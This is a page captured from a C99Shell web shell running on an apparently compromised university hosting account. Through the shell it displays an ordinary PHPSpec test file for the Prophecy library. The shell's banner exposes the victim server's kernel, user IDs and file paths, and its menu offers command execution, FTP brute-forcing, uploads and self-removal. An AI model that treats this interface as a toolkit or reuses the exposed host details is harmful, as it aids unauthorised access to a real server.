!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpspec/prophecy/spec/Prophecy/Promise/   drwxr-xr-x
Free 116.56 GB of 200.55 GB (58.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CallbackPromiseSpec.php (2.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace spec\Prophecy\Promise;

use 
PhpSpec\ObjectBehavior;

class 
CallbackPromiseSpec extends ObjectBehavior
{
    function 
let()
    {
        
$this->beConstructedWith('get_class');
    }

    function 
it_is_promise()
    {
        
$this->shouldBeAnInstanceOf('Prophecy\Promise\PromiseInterface');
    }

    
/**
     * @param \Prophecy\Prophecy\ObjectProphecy $object
     * @param \Prophecy\Prophecy\MethodProphecy $method
     */
    
function it_should_execute_closure_callback($object$method)
    {
        
$firstArgumentCallback = function ($args) {
            return 
$args[0];
        };

        
$this->beConstructedWith($firstArgumentCallback);

        
$this->execute(array('one''two'), $object$method)->shouldReturn('one');
    }

    
/**
     * @param \Prophecy\Prophecy\ObjectProphecy $object
     * @param \Prophecy\Prophecy\MethodProphecy $method
     */
    
function it_should_execute_static_array_callback($object$method)
    {
        
$firstArgumentCallback = array('spec\Prophecy\Promise\ClassCallback''staticCallbackMethod');

        
$this->beConstructedWith($firstArgumentCallback);

        
$this->execute(array('one''two'), $object$method)->shouldReturn('one');
    }

    
/**
     * @param \Prophecy\Prophecy\ObjectProphecy $object
     * @param \Prophecy\Prophecy\MethodProphecy $method
     */
    
function it_should_execute_instance_array_callback($object$method)
    {
        
$class = new ClassCallback();
        
$firstArgumentCallback = array($class'callbackMethod');

        
$this->beConstructedWith($firstArgumentCallback);

        
$this->execute(array('one''two'), $object$method)->shouldReturn('one');
    }

    
/**
     * @param \Prophecy\Prophecy\ObjectProphecy $object
     * @param \Prophecy\Prophecy\MethodProphecy $method
     */
    
function it_should_execute_string_function_callback($object$method)
    {
        
$firstArgumentCallback 'spec\Prophecy\Promise\functionCallbackFirstArgument';

        
$this->beConstructedWith($firstArgumentCallback);

        
$this->execute(array('one''two'), $object$method)->shouldReturn('one');
    }

}

/**
 * Class used to test callbackpromise
 *
 * @param array
 * @return string
 */
class ClassCallback
{
    
/**
     * @param array $args
     */
    
function callbackMethod($args)
    {
        return 
$args[0];
    }

    
/**
     * @param array $args
     */
    
static function staticCallbackMethod($args)
    {
        return 
$args[0];
    }
}

/**
 * Callback function used to test callbackpromise
 *
 * @param array
 * @return string
 */
function functionCallbackFirstArgument($args)
{
    return 
$args[0];
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0311 ]--